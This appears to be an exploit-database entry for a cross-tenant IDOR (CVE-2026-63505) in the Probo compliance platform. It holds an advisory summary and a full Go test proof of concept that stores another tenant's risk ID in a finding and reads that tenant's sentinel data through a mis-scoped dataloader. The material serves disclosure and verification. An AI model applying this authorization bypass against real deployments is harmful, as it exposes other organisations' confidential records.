threat_intelligence618 wordsRead on Arc Codex

[webapps] Probo 0.222.2

# Exploit Title: Probo 0.222.2 - IDOR # Date: 2026-07-17 # Exploit Author: Pig-Tail (Jorge González Milla) # Vendor Homepage: https://github.com/getprobo/probo # Software Link: https://github.com/getprobo/probo # Version: <= 0.222.2 (fixed 0.223.1) # Tested on: Linux # CVE: CVE-2026-63505 # Category: webapps # Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/CVE-2026-63505-probo Finding.riskId / ProcessingActivity.dataProtectionOfficerId are stored without a tenant-scoped load, and the read resolver authorizes the parent while the dataloader scopes by the child's own GID -> cross-tenant read. Advisory: GHSA-c74x-79w6-63jh. NOTE: PoC is a Go test using embedded-postgres. The PoC is a benign, local verification harness (sentinel-based; no network attack, no persistence, no destructive payload). Run against a local instance of the affected version. --- PoC (idor_test.go) --- package idorpoc import ( "context" "fmt" "testing" "time" " http://github.com/stretchr/testify/require " " http://go.gearno.de/kit/pg " " http://go.probo.inc/probo/internal/test " " http://go.probo.inc/probo/pkg/coredata " " http://go.probo.inc/probo/pkg/gid " ) // TestFindingRiskCrossTenantIDOR is a benign, runtime PoC for the cross-tenant // IDOR in the Finding->Risk relation (console v1): // - Write gap: http://FindingService.Create/Update (finding_service.go:147,248) store // req.RiskID with no scoped validation; coredata Finding.Insert has no tenant // FK on risk_id. => an org-A finding can reference an org-B risk. // - Read gap: findingResolver.Risk (audit_resolvers.go:303) authorizes the // *finding* (org A), then the dataloader (dataloader.go:223) scopes by the // *risk's own GID* (NewScopeFromObjectID) => returns the org-B risk. // Benign marker: a sentinel risk name created in org B is read back through the // org-B-scoped load that the resolver uses. func mkOrg(t *testing.T, client *pg.Client) (gid.TenantID, gid.GID, *coredata.Scope) { t.Helper() tenantID := gid.NewTenantID() orgID := gid.New(tenantID, coredata.OrganizationEntityType) now := time.Now() err := client.WithTx(context.Background(), func(ctx context.Context, tx pg.Tx) error { _, err := tx.Exec(ctx, `INSERT INTO organizations (id, tenant_id, name, created_at, updated_at) VALUES ($1,$2,$3,$4,$5)`, orgID.String(), tenantID.String(), "org-"+orgID.String(), now, now) return err }) require.NoError(t, err) return tenantID, orgID, coredata.NewScope(tenantID) } func TestFindingRiskCrossTenantIDOR(t *testing.T) { client := test.PGClient(t) ctx := context.Background() tenantA, orgA, scopeA := mkOrg(t, client) tenantB, orgB, scopeB := mkOrg(t, client) _ = tenantA const sentinel = "SECRET-ORG-B-RISK-do-not-disclose" riskB := &coredata.Risk{ ID: gid.New(tenantB, coredata.RiskEntityType), OrganizationID: orgB, Name: sentinel, Category: "confidential", Treatment: coredata.RiskTreatmentMitigated, Note: "internal", InherentLikelihood: 3, InherentImpact: 3, ResidualLikelihood: 2, ResidualImpact: 2, CreatedAt: time.Now(), UpdatedAt: time.Now(), } require.NoError(t, client.WithTx(ctx, func(ctx context.Context, tx pg.Tx) error { return riskB.Insert(ctx, tx, scopeB) }), "seed org-B risk") // --- WRITE GAP: create a finding in org A referencing org B's risk --- findingA := &coredata.Finding{ ID: gid.New(tenantA, coredata.FindingEntityType), OrganizationID: orgA, Kind: coredata.FindingKindObservation, Status: coredata.FindingStatusOpen, Priority: coredata.FindingPriorityMedium, RiskID: &riskB.ID, // <-- cross-tenant risk id, attacker-supplied via CreateFindingInput.riskId CreatedAt: time.Now(), UpdatedAt: time.Now(), } writeErr := client.WithTx(ctx, func(ctx context.Context, tx pg.Tx) error { return findingA.Insert(ctx, tx, scopeA) // scope = org A, exactly as FindingService.Create does }) require.NoError(t, writeErr, "WRITE GAP: org-A finding must NOT be allowed to reference org-B risk, but Insert succeeded") t.Logf("WRITE GAP confirmed: org-A finding %s stored risk_id=%s (org B)", findingA.ID, riskB.ID) // --- READ GAP: the dataloader scopes by the risk's OWN gid (org B) --- loaded := &coredata.Risk{} readErr := client.WithConn(ctx, func(ctx context.Context, conn pg.Querier) error { // exactly what dataloader.fetchRisks does: scope := NewScopeFromObjectID(riskGID) return loaded.LoadByID(ctx, conn, coredata.NewScopeFromObjectID(riskB.ID), riskB.ID) }) require.NoError(t, readErr, "READ GAP: risk should not be loadable by an org-A request") require.Equal(t, sentinel, loaded.Name) t.Logf("READ GAP confirmed: org-A request read org-B risk name=%q via NewScopeFromObjectID(risk.gid)", loaded.Name) // --- CONTRAST: proper org-A scoping would NOT find org-B's risk --- contrast := &coredata.Risk{} cErr := client.WithConn(ctx, func(ctx context.Context, conn pg.Querier) error { return contrast.LoadByID(ctx, conn, scopeA, riskB.ID) // org-A tenant scope }) require.Error(t, cErr, "CONTRAST: org-A-scoped load of org-B risk must fail (proves the scope-from-key choice IS the bug)") fmt.Printf("\n=== CROSS-TENANT IDOR CONFIRMED ===\norg-A finding referenced org-B risk (write gap) AND org-B risk %q was disclosed via risk-gid scope (read gap); org-A-scoped load correctly failed (%v)\n", sentinel, cErr) }

How it works

Once you click Generate, Ollama reads this article and crafts 5 comprehension questions. Your answers are graded against the article content — general knowledge won't be enough. Score 70+ to count toward your certificate.

Questions are cached — you'll always get the same 5 for this article.